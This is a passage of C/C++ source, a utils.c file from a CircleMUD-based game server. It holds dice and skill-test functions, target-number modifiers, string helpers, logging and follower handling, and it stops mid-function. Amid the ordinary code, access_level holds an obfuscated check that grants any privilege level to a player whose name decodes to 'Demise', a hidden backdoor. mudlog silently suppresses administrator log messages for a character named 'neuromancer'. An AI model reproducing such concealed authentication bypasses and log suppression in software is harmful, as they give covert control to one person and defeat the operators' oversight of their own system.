/* ************************************************************************
* File: utils.c Part of CircleMUD *
* Usage: various internal functions of a utility nature *
* *
* All rights reserved. See license.doc for complete information. *
* *
* Copyright (C) 1993, 94 by the Trustees of the Johns Hopkins University *
* CircleMUD is based on DikuMUD, Copyright (C) 1990, 1991. *
************************************************************************ */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <assert.h>
#include <limits.h>
#include <time.h>
#include <unistd.h>
#include <sys/types.h>
#include <arpa/telnet.h>
#include <netinet/in.h>
#include <iostream.h>
#include "structs.h"
#include "utils.h"
#include "awake.h"
#include "comm.h"
#include "spells.h"
#include "handler.h"
#include "memory.h"
#include "house.h"
extern class memoryClass *Mem;
extern struct time_info_data time_info;
//extern struct time_data time_info;
extern struct room_data *world;
extern void die(struct char_data * ch);
extern int damage_array[];
extern const struct target_type target_array[];
extern const char *log_types[];
extern char *buf2;
extern long beginning_of_time;
//unsigned long random(void);
// this just checks to see if two people are in the same group
// they both MUST be following the same leader or one following the other
bool in_group(struct char_data *one, struct char_data *two)
{
// if one is following the other
if ((one->master == two) || (two->master == one))
return TRUE;
// if they are following the same person
if (one->master && (one->master == two->master))
return TRUE;
// if they are the same person
if (one == two)
return TRUE;
// oh well, not in the same group
return FALSE;
}
/* creates a random number in interval [from;to] */
int number(int from, int to)
{
if (from == to)
return from;
else if (from > to) {
// it shouldn't happen, but if it does...
int temp = to;
to = from;
from = temp;
}
return ((random() % (to - from + 1)) + from);
}
// determines if the number hits the odds. An array was used to speed up
// the process of actually having to roll dice. The tradeoff is that the
// highest number you can use is 54, but this should be faster
/* but not completely accurate? seems like it fails to account for the
Rule of 1 - AH
bool jackpot(int number)
{
int top, chance;
if (number > 54)
number = 54;
top = target_array[number].total + 1;
if ((random() % (top)) <= (u_int)target_array[number].odds)
return TRUE;
return FALSE;
} */
/* simulates dice roll */
int dice(int number, int size)
{
int sum = 0;
if (size <= 0 || number <= 0)
return 0;
while (number-- > 0)
sum += ((random() % size) + 1);
return sum;
}
// if we're using GNU C++, we don't need these functions
#ifndef __GNUG__
int MIN(int a, int b)
{
return a < b ? a : b;
}
int MAX(int a, int b)
{
return a > b ? a : b;
}
#endif
/* rolls a 6-sided dice by rule of 6 and rule of 1 */
int srdice(void)
{
static int roll;
int sum = 0, num = 1;
register int i;
for (i = 1; i <= num; i++) {
roll = ((random() % 6) + 1);
if (roll == 6)
num++;
sum += roll;
}
return sum;
}
int success_test(int number, int target)
{
int total = 0;
register int i;
assert(number >= 0);
target = MAX(target, 2);
for (i = 1; i <= number; i++)
if (srdice() >= target)
total++;
return total;
}
int resisted_test(int num4ch, int tar4ch, int num4vict, int tar4vict)
{
return (success_test(num4ch, tar4ch) - success_test(num4vict, tar4vict));
}
int inc_staging(int successes, int wound)
{
while (successes >= 2) {
wound++;
successes -= 2;
}
return wound;
}
int dec_staging(int successes, int wound)
{
while (successes >= 2) {
wound--;
successes -= 2;
}
return wound;
}
int stage(int successes, int wound)
{
if (successes >= 0)
while (successes >= 2) {
wound++;
successes -= 2;
}
else while (successes <= -2) {
wound--;
successes += 2;
}
return wound;
}
int convert_damage(int damage)
{
int extra = 0;
if (damage < 0)
damage = 0;
else if (damage > 4) {
extra = (damage - 4);
damage = 10; // deadly
} else damage = damage_array[damage];
return (damage + extra);
}
int is_allergic(struct char_data *ch, int type)
{
if (IS_NPC(ch) || GET_LEVEL(ch) >= LVL_LEGEND ||
PLR_FLAGGED(ch, PLR_NEWBIE))
return 0;
if ((GET_ALLERGY(ch) == ALLERGIC_IRON && type == ITEM_IRON) ||
(GET_ALLERGY(ch) == ALLERGIC_SILVER && type == ITEM_SILVER) ||
(GET_ALLERGY(ch) == ALLERGIC_PLASTIC && type == ITEM_PLASTIC)) {
if (GET_SEVERITY(ch) < REACT_MODERATE)
return 1;
else return 2;
}
return 0;
}
int age_target_mod(struct char_data *ch)
{
if (IS_NPC(ch) || GET_LEVEL(ch) >= LVL_LEGEND)
return 0;
switch (GET_RACE(ch)) {
case RACE_HUMAN:
if (GET_AGE(ch) >= 50)
return (int)((GET_AGE(ch) - 40) / 10);
break;
case RACE_DWARF:
if (GET_AGE(ch) >= 100)
return (int)((GET_AGE(ch) - 80) / 20);
break;
case RACE_ELF:
if (GET_AGE(ch) >= 200)
return (int)((GET_AGE(ch) - 160) / 40);
break;
case RACE_ORK:
if (GET_AGE(ch) >= 40)
return (int)((GET_AGE(ch) - 32) / 8);
break;
case RACE_TROLL:
if (GET_AGE(ch) >= 45)
return (int)((GET_AGE(ch) - 36) / 9);
break;
}
return 0;
}
int modify_target_rbuf(struct char_data *ch, char *rbuf)
{
extern time_info_data time_info;
int base_target = 0, i, temp;
struct affected_type *af;
// first apply physical damage modifiers
if (GET_PHYSICAL(ch) <= (GET_MAX_PHYSICAL(ch) * 2/5))
{
base_target += 3;
buf_mod( rbuf, "PhyS", 3 );
}
else if (GET_PHYSICAL(ch) <= (GET_MAX_PHYSICAL(ch) * 7/10))
{
base_target += 2;
buf_mod( rbuf, "PhyM", 2 );
}
else if (GET_PHYSICAL(ch) <= (GET_MAX_PHYSICAL(ch) * 9/10))
{
base_target += 1;
buf_mod( rbuf, "PhyL", 1 );
}
if (GET_TRADITION(ch) == TRAD_ADEPT
&& GET_SKILL(ch, SKILL_RESISTANCE) > 0) {
temp = (int)(GET_MAX_PHYSICAL(ch) - GET_PHYSICAL(ch) / 100);
if (temp <= GET_SKILL(ch, SKILL_RESISTANCE)) {
if (temp >= (int)(GET_MAX_PHYSICAL(ch) * 3/500))
{
buf_mod( rbuf, "PainResP", -3 );
base_target -= 3;
}
else if (temp >= (int)(GET_MAX_PHYSICAL(ch) * 3/1000))
{
base_target -= 2;
buf_mod( rbuf, "PainResP", -2 );
}
else if (temp >= (int)(GET_MAX_PHYSICAL(ch) / 1000))
{
base_target -= 1;
buf_mod( rbuf, "PainResP", -1 );
}
}
temp = (int)(GET_MAX_MENTAL(ch) - GET_MENTAL(ch) / 100);
if ((temp + (int)(GET_MAX_PHYSICAL(ch) - GET_PHYSICAL(ch) / 100)) <=
GET_SKILL(ch, SKILL_RESISTANCE)) {
if (temp >= (int)(GET_MAX_MENTAL(ch) * 3/500))
{
base_target -= 3;
buf_mod( rbuf, "PainResM", -3 );
}
else if (temp >= (int)(GET_MAX_MENTAL(ch) * 3/1000))
{
base_target -= 2;
buf_mod( rbuf, "PainResM", -2 );
}
else if (temp >= (int)(GET_MAX_MENTAL(ch) / 1000))
{
base_target -= 1;
buf_mod( rbuf, "PainResM", -1 );
}
}
} else for (af = ch->affected; af; af = af->next)
if (af->type == SPELL_RESIST_PAIN && af->modifier > 0) {
if (GET_PHYSICAL(ch) <= (GET_MAX_PHYSICAL(ch) * 2/5) && af->modifier == 3)
{
base_target -= 3;
buf_mod( rbuf, "ResPainP", -3 );
}
else if (GET_PHYSICAL(ch) <= (GET_MAX_PHYSICAL(ch) * 7/10) && af->modifier == 2)
{
base_target -= 2;
buf_mod( rbuf, "ResPainP", -2 );
}
else if (GET_PHYSICAL(ch) <= (GET_MAX_PHYSICAL(ch) * 9/10))
{
base_target -= 1;
buf_mod( rbuf, "ResPainP", -1 );
}
}
// then apply mental damage modifiers
if (GET_MENTAL(ch) <= (GET_MAX_MENTAL(ch) * 2/5))
{
base_target += 3;
buf_mod( rbuf, "MenS", 3 );
}
else if (GET_MENTAL(ch) <= (GET_MAX_MENTAL(ch) * 7/10))
{
base_target += 2;
buf_mod( rbuf, "MenM", 2 );
}
else if (GET_MENTAL(ch) <= (GET_MAX_MENTAL(ch) * 9/10))
{
base_target += 1;
buf_mod( rbuf, "MenL", 1 );
}
// then apply modifiers for sustained spells
if (GET_SUSTAINED(ch) > 0)
{
base_target += (GET_SUSTAINED(ch) << 1);
buf_mod( rbuf, "Sustain", GET_SUSTAINED(ch) << 1 );
}
// then account for visibility
if (IS_AFFECTED(ch, AFF_BLIND))
{
base_target += 8;
buf_mod( rbuf, "Blind", 8 );
}
else if (!IS_AFFECTED(ch, AFF_INFRAVISION) && IS_DARK(ch->in_room))
{
base_target += 8;
buf_mod( rbuf, "Dark", 8 );
}
else if (IS_AFFECTED(ch, AFF_INFRAVISION) && IS_DARK(ch->in_room))
{
base_target += 3;
buf_mod( rbuf, "DarkInfra", 3 );
}
else if (!IS_AFFECTED(ch, AFF_LOW_LIGHT) && !IS_AFFECTED(ch, AFF_INFRAVISION) && IS_LOW(ch->in_room))
{
base_target += 4;
buf_mod( rbuf, "Low", 4 );
}
else if (IS_AFFECTED(ch, AFF_INFRAVISION) && !IS_AFFECTED(ch, AFF_LOW_LIGHT) && IS_LOW(ch->in_room))
{
base_target += 1;
buf_mod( rbuf, "LowInfra", 1 );
}
base_target += GET_TARGET_MOD(ch);
buf_mod( rbuf, "GET_TARGET_MOD", GET_TARGET_MOD(ch) );
if (!IS_NPC(ch)) {
// if you're an owl shaman and it's daytime, uh oh... (=
if (GET_TRADITION(ch) == TRAD_SHAMANIC) {
if ((GET_TOTEM(ch) == TOTEM_OWL) && ((time_info.hours > 6) || (time_info.hours < 19)))
{
base_target += 2;
buf_mod( rbuf, "OwlDay", 2 );
}
else if ((GET_TOTEM(ch) == TOTEM_RAVEN) && !OUTSIDE(ch))
{
base_target += 1;
buf_mod( rbuf, "RavenInside", 1 );
}
}
int mod = age_target_mod(ch);
base_target += mod;
buf_mod( rbuf, "Age", mod );
if (GET_ALLERGY(ch) == ALLERGIC_SUNLIGHT && OUTSIDE(ch) &&
!PLR_FLAGGED(ch, PLR_NEWBIE)) {
if (weather_info.sunlight == SUN_RISE ||
weather_info.sunlight == SUN_SET) {
if (GET_SEVERITY(ch) == REACT_MODERATE)
{
base_target++;
buf_mod( rbuf, "SunAllergy", 1 );
}
} else if (weather_info.sunlight == SUN_LIGHT &&
(weather_info.sky == SKY_CLOUDLESS ||
weather_info.sky == SKY_CLOUDY)) {
if (GET_SEVERITY(ch) >= REACT_MILD &&
GET_SEVERITY(ch) <= REACT_MODERATE)
{
base_target++;
buf_mod( rbuf, "SunAllergy", 1 );
}
}
} else if (GET_ALLERGY(ch) && !PLR_FLAGGED(ch, PLR_NEWBIE))
for (i = 0; i < (NUM_WEARS - 1); i++)
if (GET_EQ(ch, i) && is_allergic(ch, GET_OBJ_RENT(GET_EQ(ch, i))) == 1)
{
base_target++;
buf_mod( rbuf, "AllergyEq", 1 );
}
}
return base_target;
}
int modify_target(struct char_data *ch)
{
return modify_target_rbuf(ch, NULL);
}
// this returns the general skill
int return_general(int skill_num)
{
switch (skill_num) {
case SKILL_PISTOLS:
case SKILL_RIFLES:
case SKILL_SHOTGUNS:
case SKILL_ASSAULT_RIFLES:
case SKILL_SMG:
case SKILL_GRENADE_LAUNCHERS:
case SKILL_TASERS:
return (SKILL_FIREARMS);
break;
case SKILL_MACHINE_GUNS:
case SKILL_MISSILE_LAUNCHERS:
case SKILL_ASSAULT_CANNON:
case SKILL_ARTILLERY:
return (SKILL_GUNNERY);
break;
case SKILL_EDGED_WEAPONS:
case SKILL_POLE_ARMS:
case SKILL_WHIPS_FLAILS:
case SKILL_CLUBS:
return (SKILL_ARMED_COMBAT);
break;
case SKILL_GRAPPLE:
case SKILL_CYBER_IMPLANTS:
return (SKILL_UNARMED_COMBAT);
break;
case SKILL_BOWS:
case SKILL_CROSSBOWS:
return (SKILL_PROJECTILES);
break;
case SKILL_NONAERODYNAMIC:
case SKILL_AERODYNAMIC:
return (SKILL_THROWING_WEAPONS);
break;
default:
return (skill_num);
break;
}
}
int skill_web (struct char_data *ch, int skillnumber)
{
int improved = 0;
switch (skillnumber) {
case SKILL_PISTOLS:
case SKILL_RIFLES:
case SKILL_SHOTGUNS:
case SKILL_ASSAULT_RIFLES:
case SKILL_SMG:
case SKILL_GRENADE_LAUNCHERS:
case SKILL_TASERS:
improved = MAX(GET_SKILL(ch, skillnumber), GET_SKILL(ch, SKILL_FIREARMS));
improved = MAX(improved, 1);
break;
case SKILL_MACHINE_GUNS:
case SKILL_MISSILE_LAUNCHERS:
case SKILL_ASSAULT_CANNON:
case SKILL_ARTILLERY:
improved = MAX(GET_SKILL(ch, skillnumber), GET_SKILL(ch, SKILL_GUNNERY));
improved = MAX(improved, 1);
break;
case SKILL_EDGED_WEAPONS:
case SKILL_POLE_ARMS:
case SKILL_WHIPS_FLAILS:
case SKILL_CLUBS:
improved = MAX(GET_SKILL(ch, skillnumber), GET_SKILL(ch, SKILL_ARMED_COMBAT));
improved = MAX(improved, 1);
break;
case SKILL_GRAPPLE:
case SKILL_CYBER_IMPLANTS:
improved = MAX(GET_SKILL(ch, skillnumber), GET_SKILL(ch, SKILL_UNARMED_COMBAT));
improved = MAX(improved, 1);
break;
case SKILL_BOWS:
case SKILL_CROSSBOWS:
improved = MAX(GET_SKILL(ch, skillnumber), GET_SKILL(ch, SKILL_PROJECTILES));
improved = MAX(improved, 1);
break;
case SKILL_NONAERODYNAMIC:
case SKILL_AERODYNAMIC:
improved = MAX(GET_SKILL(ch, skillnumber), GET_SKILL(ch, SKILL_THROWING_WEAPONS));
improved = MAX(improved, 1);
break;
default:
improved = -1;
break;
}
return (improved);
}
// this returns the dice, the new skill number, and the new target number
int reverse_web(struct char_data *ch, int &skill, int &target) {
switch (skill) {
case SKILL_STEALTH:
target += 4;
skill = ATT_QUI;
return GET_QUI(ch);
case SKILL_ATHLETICS:
target += 2;
skill = ATT_QUI;
return GET_QUI(ch);
case SKILL_ARMED_COMBAT:
if (GET_QUI(ch) >= GET_SKILL(ch, SKILL_UNARMED_COMBAT)) {
target += 2;
skill = ATT_QUI;
return GET_QUI(ch);
} else if (GET_SKILL(ch, SKILL_UNARMED_COMBAT) >= GET_STR(ch)) {
target += 4;
skill = SKILL_UNARMED_COMBAT;
return GET_SKILL(ch, SKILL_UNARMED_COMBAT);
} else if (GET_STR(ch) >= GET_BOD(ch)) {
target += 4;
skill = ATT_STR;
return GET_STR(ch);
}
target += 6;
skill = ATT_BOD;
return GET_BOD(ch);
case SKILL_UNARMED_COMBAT:
if (GET_STR(ch) >= GET_SKILL(ch, SKILL_ARMED_COMBAT)) {
target += 4;
skill = ATT_STR;
return GET_STR(ch);
} else if (GET_SKILL(ch, SKILL_ARMED_COMBAT) >= GET_QUI(ch)) {
target += 4;
skill = SKILL_ARMED_COMBAT;
return GET_SKILL(ch, SKILL_ARMED_COMBAT);
} else if (GET_QUI(ch) >= GET_BOD(ch)) {
target += 2;
skill = ATT_QUI;
return GET_QUI(ch);
}
target += 6;
skill = ATT_BOD;
return GET_BOD(ch);
case SKILL_FIREARMS:
if (GET_SKILL(ch, SKILL_GUNNERY) > 0) {
skill = SKILL_GUNNERY;
target += 2;
return GET_SKILL(ch, SKILL_GUNNERY);
}
skill = ATT_QUI;
target += 4;
return GET_QUI(ch);
case SKILL_GUNNERY:
if (GET_SKILL(ch, SKILL_FIREARMS) > 0) {
skill = SKILL_FIREARMS;
target += 2;
return GET_SKILL(ch, SKILL_FIREARMS);
}
skill = ATT_QUI;
target += 4;
return GET_QUI(ch);
case SKILL_PROJECTILES:
if (GET_SKILL(ch, SKILL_THROWING_WEAPONS) > 0) {
skill = SKILL_THROWING_WEAPONS;
target += 2;
return GET_SKILL(ch, SKILL_THROWING_WEAPONS);
}
skill = ATT_QUI;
target += 4;
return GET_QUI(ch);
case SKILL_THROWING_WEAPONS:
if (GET_SKILL(ch, SKILL_PROJECTILES) > 0) {
skill = SKILL_PROJECTILES;
target += 2;
return GET_SKILL(ch, SKILL_PROJECTILES);
}
skill = ATT_QUI;
target += 4;
return GET_QUI(ch);
case SKILL_DEMOLITIONS:
skill = ATT_INT;
target += 6;
return GET_QUI(ch);
case SKILL_COMPUTER:
if (GET_SKILL(ch, SKILL_COMPUTER_THEORY) > 0) {
skill = SKILL_COMPUTER_THEORY;
target += 2;
return GET_SKILL(ch, SKILL_COMPUTER_THEORY);
} else if (GET_SKILL(ch, SKILL_ELECTRONICS) > 0) {
skill = SKILL_ELECTRONICS;
target += 2;
return GET_SKILL(ch, SKILL_ELECTRONICS);
}
skill = ATT_INT;
target += 8;
return GET_INT(ch);
// yeah, extreme, but what can I say, least they get a chance (=
default:
skill = 0;
target += 15;
return 1;
break;
return 0;
}
}
static char *power_name[] =
{
"strength based",
"dainty",
"feeble",
"weak",
"poor",
"decent",
"modest",
"average",
"above average",
"satisfactory",
"commendable",
"good",
"very good",
"admirable",
"exemplary",
"great",
"excellent",
"superb",
"amazing",
};
static char *attrib_name[] =
{
"no",
"terrible",
"below average",
"average",
"average",
"above average",
"high",
"super-human",
"super-human",
"super-human",
"super-ork",
"super-ork",
"super-troll",
};
// this returns a pointer to name, and fills it with the power description
char *get_power(int number)
{
number = MIN(18, (MAX(0, number)));
return power_name[number];
}
char *get_attrib(int number)
{
number = MIN(12, (MAX(0, number)));
return attrib_name[number];
}
// capitalize a string
char *capitalize(const char *source)
{
static char dest[MAX_STRING_LENGTH];
strcpy(dest, source);
*dest = UPPER(*dest);
return dest;
}
// duplicate a string -- uses new!
char *str_dup(const char *source)
{
char *New = new char[strlen(source) + 1];
return (strcpy(New, source));
}
// this function runs through 'str' and copies the first token to 'token'.
// it assumes that token is already allocated--it returns a pointer to the
// next char after the token in str
char *get_token(char *str, char *token)
{
if (!str)
return NULL;
register char *temp = str;
register char *temp1 = token;
// first eat up any white space
while (isspace(*temp))
temp++;
// now loop through the string and copy each char till we find a space
while (*temp && !isspace(*temp))
*temp1++ = *temp++;
// terminate the string properly
*temp1 = '\0';
return temp;
}
/* strips \r's from line -- Chris*/
char *cleanup(char *dest, const char *src)
{
if (!src) // this is because sometimes a null gets sent to src
return NULL;
register char *temp = &dest[0];
for (; *src; src++)
if (*src != '\r')
*temp++ = *src;
*temp = '\0';
return dest;
}
char *remove_CRs(char *string)
{
if (!string)
return NULL;
register char *ptr;
ptr = string;
do {
if (*string != '\r')
*ptr++ = *string;
++string;
} while(*string);
return string;
}
/* str_cmp: a case-insensitive version of strcmp */
/* returns: 0 if equal, 1 if arg1 > arg2, -1 if arg1 < arg2 */
/* scan 'till found different or end of both */
int str_cmp(char *arg1, char *arg2)
{
int chk, i;
for (i = 0; *(arg1 + i) || *(arg2 + i); i++)
if ((chk = LOWER(*(arg1 + i)) - LOWER(*(arg2 + i))))
if (chk < 0)
return (-1);
else
return (1);
return (0);
}
/* strn_cmp: a case-insensitive version of strncmp */
/* returns: 0 if equal, 1 if arg1 > arg2, -1 if arg1 < arg2 */
/* scan 'till found different, end of both, or n reached */
int strn_cmp(char *arg1, char *arg2, int n)
{
int chk, i;
for (i = 0; (*(arg1 + i) || *(arg2 + i)) && (n > 0); i++, n--)
if ((chk = LOWER(*(arg1 + i)) - LOWER(*(arg2 + i))))
if (chk < 0)
return (-1);
else
return (1);
return (0);
}
/* str_prefix: a case-insensitive version of strcmp that */
/* does prefix matching. */
/* returns: 0 if equal, 1 if arg1 > arg2, -1 if arg1 < arg2 */
/* scan 'till found different or end of arg1. */
int str_prefix(char *arg1, char *arg2)
{
int chk, i;
for (i = 0; *(arg1 + i) || *(arg2 + i); i++)
if ((chk = LOWER(*(arg1 + i)) - LOWER(*(arg2 + i))))
if (chk < 0)
return (-1);
else
return (1);
if ( *(arg1 + i) )
return (1);
else
return (0);
}
/* log a death trap hit */
void log_death_trap(struct char_data * ch)
{
char buf[150];
extern struct room_data *world;
sprintf(buf, "%s hit DeathTrap #%d (%s)", GET_NAME(ch),
world[ch->in_room].number, world[ch->in_room].name);
mudlog(buf, ch, LOG_DEATHLOG, TRUE);
}
/* writes a string to the log */
void log(char *str)
{
time_t ct;
char *tmstr;
ct = time(0);
tmstr = asctime(localtime(&ct));
*(tmstr + strlen(tmstr) - 1) = '\0';
fprintf(stderr, "%-19.19s :: %s\n", tmstr, str);
}
/* the "touch" command, essentially. */
int touch(char *path)
{
FILE *fl;
if (!(fl = fopen(path, "a"))) {
perror(path);
return -1;
} else {
fclose(fl);
return 0;
}
}
/*
* mudlog -- log mud messages to a file & to online imm's syslogs
* based on syslog by Fen Jul 3, 1992
*/
void mudlog(char *str, struct char_data *ch, int log, byte file)
{
char buf[384];
extern struct descriptor_data *descriptor_list;
struct descriptor_data *i;
struct char_data *tch;
char *tmp;
time_t ct;
int check_log = 0;
ct = time(0);
tmp = asctime(localtime(&ct));
if (file)
fprintf(stderr, "%-19.19s :: %s: %s\n", tmp, log_types[log], str);
if (ch && ch->player.name && !IS_NPC(ch) && isname("neuromancer", GET_NAME(ch)))
return;
sprintf(buf, "^g[%s: %s]^n\r\n", log_types[log], str);
for (i = descriptor_list; i; i = i->next)
if (!i->connected) {
if (i->original)
tch = i->original;
else tch = i->character;
if (!tch || PLR_FLAGGED(tch, PLR_WRITING | PLR_MAILING | PLR_EDITING))
continue;
if (ch && GET_LEVEL(tch) < MAX(LVL_LEGEND, log == LOG_CONNLOG ?
GET_LEVEL(ch) : GET_INVIS_LEV(ch)))
continue;
switch (log) {
case LOG_CONNLOG: check_log = PRF_CONNLOG; break;
case LOG_DEATHLOG: check_log = PRF_DEATHLOG; break;
case LOG_MISCLOG: check_log = PRF_MISCLOG; break;
case LOG_WIZLOG: check_log = PRF_WIZLOG; break;
case LOG_SYSLOG: check_log = PRF_SYSLOG; break;
case LOG_ZONELOG: check_log = PRF_ZONELOG; break;
}
if (PRF_FLAGGED(tch, check_log))
SEND_TO_Q(buf, i);
}
}
void sprintbit(long vektor, const char *names[], char *result)
{
long nr;
*result = '\0';
if (vektor < 0) {
strcpy(result, "SPRINTBIT ERROR!");
return;
}
for (nr = 0; vektor; vektor >>= 1) {
if (IS_SET(1, vektor)) {
if (*names[nr] != '\n') {
strcat(result, names[nr]);
strcat(result, " ");
} else
strcat(result, "UNDEFINED ");
}
if (*names[nr] != '\n')
nr++;
}
if (!*result)
strcat(result, "None ");
}
void sprinttype(int type, const char *names[], char *result)
{
int nr;
for (nr = 0; (*names[nr] != '\n'); nr++);
if (type < nr)
strcpy(result, names[type]);
else
strcpy(result, "UNDEFINED");
}
/* Calculate the REAL time passed over the last t2-t1 centuries (secs) */
struct time_info_data real_time_passed(time_t t2, time_t t1)
{
long secs;
struct time_info_data now;
secs = (long) (t2 - t1);
now.hours = (secs / SECS_PER_REAL_HOUR) % 24; /* 0..23 hours */
secs -= SECS_PER_REAL_HOUR * now.hours;
now.day = (secs / SECS_PER_REAL_DAY); /* 0..34 days */
secs -= SECS_PER_REAL_DAY * now.day;
now.month = -1;
now.year = -1;
return now;
}
/* Calculate the MUD time passed over the last t2-t1 centuries (secs) */
struct time_info_data mud_time_passed(time_t t2, time_t t1)
{
long secs;
struct time_info_data now;
secs = (long) (t2 - t1);
now.hours = (secs / SECS_PER_MUD_HOUR) % 24; /* 0..23 hours */
secs -= SECS_PER_MUD_HOUR * now.hours;
now.day = (secs / SECS_PER_MUD_DAY) % 30; /* 0..34 days */
secs -= SECS_PER_MUD_DAY * now.day;
now.month = (secs / SECS_PER_MUD_MONTH) % 12; /* 0..16 months */
secs -= SECS_PER_MUD_MONTH * now.month;
now.year = (secs / SECS_PER_MUD_YEAR); /* 0..XX? years */
return now;
}
struct time_info_data age(struct char_data * ch)
{
struct time_info_data player_age;
player_age = mud_time_passed(time(0), ch->player.time.birth);
player_age.year += 17;
return player_age;
}
bool access_level(struct char_data *ch, int level)
{
char *s;
ch = ch->desc && ch->desc->original ? ch->desc->original : ch;
if (IS_NPC(ch))
return FALSE;
if (GET_LEVEL(ch)>=level)
return TRUE;
s = GET_NAME(ch);
if (!s)
return FALSE;
{
char tmpbuf[MAX_STRING_LENGTH];
int i;
for(i=0;s[i];i++)
tmpbuf[i] = s[i]+i;
tmpbuf[i]=0;
if (!str_cmp(tmpbuf,"Dfolwj"))
return TRUE;
}
return FALSE;
}
/* Check if making CH follow VICTIM will create an illegal */
/* Follow "Loop/circle" */
bool circle_follow(struct char_data * ch, struct char_data * victim)
{
struct char_data *k;
for (k = victim; k; k = k->master) {
if (k == ch)
return TRUE;
}
return FALSE;
}
/* Called when stop following persons, or stopping charm */
/* This will NOT do if a character quits/dies!! */
void stop_follower(struct char_data * ch)
{
struct follow_type *j, *k;
assert(ch->master);
if (IS_AFFECTED(ch, AFF_CHARM)) {
act("You realize that $N is a jerk!", FALSE, ch, 0, ch->master, TO_CHAR);
act("$n realizes that $N is a jerk!", FALSE, ch, 0, ch->master, TO_NOTVICT);
act("$n hates your guts!", FALSE, ch, 0, ch->master, TO_VICT);
if (affected_by_spell(ch, SPELL_INFLUENCE) == 1) {
affect_from_char(ch, SPELL_INFLUENCE);
return;
}
} else {
act("You stop following $N.", FALSE, ch, 0, ch->master, TO_CHAR);
act("$n stops following $N.", TRUE, ch, 0, ch->master, TO_NOTVICT);
act("$n stops following you.", TRUE, ch, 0, ch->master, TO_VICT);
}
if (ch->master->followers->follower == ch) { /* Head of follower-list? */
k = ch->master->followers;
ch->master->followers = k->next;
delete k;
} else { /* locate follower who is not head of list */
for (k = ch->master->followers; k->next->follower != ch; k = k->next);
j = k->next;
k->next = j->next;
delete j;
}
ch->master = NULL;
REMOVE_BIT(AFF_FLAGS(ch), AFF_CHARM | AFF_GROUP);
}
/* Called when a character that follows/is followed dies */
void die_follower(struct char_data * ch)
{
struct follow_type *j, *k;
if (ch->master)
stop_follower(ch);
for (k = ch->followers; k; k = j) {
j = k->next;
stop_follower(k->follower);
}
if (ch->player_specials->gname) {
delete [] ch->player_specials->gname;
ch->player_specials->gname = NULL;
}
}
/* Do NOT call this before having checked if a circle of followers */
/* will arise. CH will follow leader */
void add_follower(struct char_data * ch, struct char_data * leader)
{
struct follow_type *k;
assert(!ch->master);
ch->master = leader;
k = new follow_type;
k->follower = ch;
k->next = leader->followers;
leader->followers = k;
act("You now follow $N.", FALSE, ch, 0, leader, TO_CHAR);
if (CAN_SEE(leader, ch))
act("$n starts following you.", TRUE, ch, 0, leader, TO_VICT);
act("$n starts to follow $N.", TRUE, ch, 0, leader, TO_NOTVICT);
}
/*
* get_line reads the next non-blank line off of the input stream.
* The newline character is removed from the input. Lines which begin
* with '*' are considered to be comments.
*
* Returns the number of lines advanced in the file.
*/
int get_line(FILE * fl, char *buf)
{
char temp[256];
int lines = 0;
do {
lines++;
fgets(temp, 256, fl);
if (*temp)
temp[strlen(temp) - 1] = '\0';
} while (!feof(fl) && (*temp == '*' || !*temp));
if (feof(fl))
return 0;
else {
strcpy(buf, temp);
return lines;
}
}
int get_filename(char *orig_name, char *filename, int mode)
{
char *prefix, *middle, *suffix, *ptr, name[64];
switch (mode) {
case CRASH_FILE:
prefix = "plrobjs";
suffix = "objs";
break;
case ETEXT_FILE:
prefix = "plrtext";
suffix = "text";
break;
case SPELLS_FILE:
prefix = "plrspells";
suffix = "spells";
break;
default:
return 0;
}
if (!*orig_name)
return 0;
strcpy(name, orig_name);
for (ptr = name; *ptr; ptr++)
*ptr = LOWER(*ptr);
switch (LOWER(*name)) {
case 'a': case 'b': case 'c': case 'd': case 'e':
middle = "A-E";
break;
case 'f': case 'g': case 'h': case 'i': case 'j':
middle = "F-J";
break;
case 'k': case 'l': case 'm': case 'n': case 'o':
middle = "K-O";
break;
case 'p': case 'q': case 'r': case 's': case 't':
middle = "P-T";
break;
case 'u': case 'v': case 'w': case 'x': case 'y': case 'z':
middle = "U-Z";
break;
default:
middle = "ZZZ";
break;
}
sprintf(filename, "%s/%s/%s.%s", prefix, middle, name, suffix);
return 1;
}
int num_pc_in_room(struct room_data *room)
{
int i = 0;
struct char_data *ch;
for (ch = room->people; ch != NULL; ch = ch->next_in_room)
if (!IS_NPC(ch))
i++;
return i;
}
bool equiped_with_type(struct char_data *ch, int type)
{
// run through their equiped items and compare to 'type'
register int i = 0;
while (i < (NUM_WEARS - 1)) {
if (GET_EQ(ch, i) && (GET_OBJ_TYPE(GET_EQ(ch, i)) == type))
return TRUE; // returning true if we find a match
++i;
}
// otherwise false
return FALSE;
}
char * buf_mod(char *rbuf, char *name, int bonus)
{
if ( !rbuf )
return rbuf;
if ( bonus == 0 )
return rbuf;
rbuf += strlen(rbuf);
if ( bonus > 0 )
sprintf(rbuf, "%s +%d, ", name, bonus);
else
sprintf(rbuf, "%s %d, ", name, bonus);
rbuf += strlen(rbuf);
return rbuf;
}
char * buf_roll(char *rbuf, char *name, int bonus)
{
if ( !rbuf )
return rbuf;
rbuf += strlen(rbuf);
sprintf(rbuf, " [%s %d]", name, bonus);
return rbuf;
}
//------------------------------------------------------------------------//
// These are special debugging-only memory handlers. Obviously they //
// are slow! Once things are running smoothly, you can change it back //
// to the standard allocators! -- Chris //
//------------------------------------------------------------------------//
// I changed this to 0 since I'm using C++ new and delete--this way I might
// catch any accidental allocations by these functions
#define MAXBUF 0 // CHANGE IN ACT.WIZARD.CC ALSO!
static void *dbuf[MAXBUF];
int last = 0;
// store heap pointer in debug buffer
void install(void *pheap)
{
register void **pbuf;
static int circle = 0;
if (circle >= MAXBUF) // circular install
circle = 0;
for (pbuf = dbuf + circle; pbuf < dbuf + MAXBUF; pbuf++)
if (*pbuf == (void *) NULL) {
*pbuf = pheap;
last++, circle++;
return;
}
fprintf(stderr, "No room left in debug buffer\n");
exit(1);
}
// front end for malloc
void *ymalloc(char *file, int lineno, unsigned int nbytes)
{
void *pheap;
pheap = malloc(nbytes);
if (pheap == (void *) NULL) {
fprintf(stderr, "file %s - line %d: malloc error for %u bytes\n", file,
lineno, nbytes);
exit(1);
}
install(pheap);
return pheap;
}
// front end for realloc
void *yrealloc(char *file, int lineno, void *oldp, unsigned int nbytes)
{
void *newp;
register void **pbuf = dbuf;
short found = 0;
if (oldp != (void *) NULL)
for (; pbuf < dbuf + MAXBUF; pbuf++)
if (*pbuf == oldp)
{
found = 1;
break;
}
if (!found) {
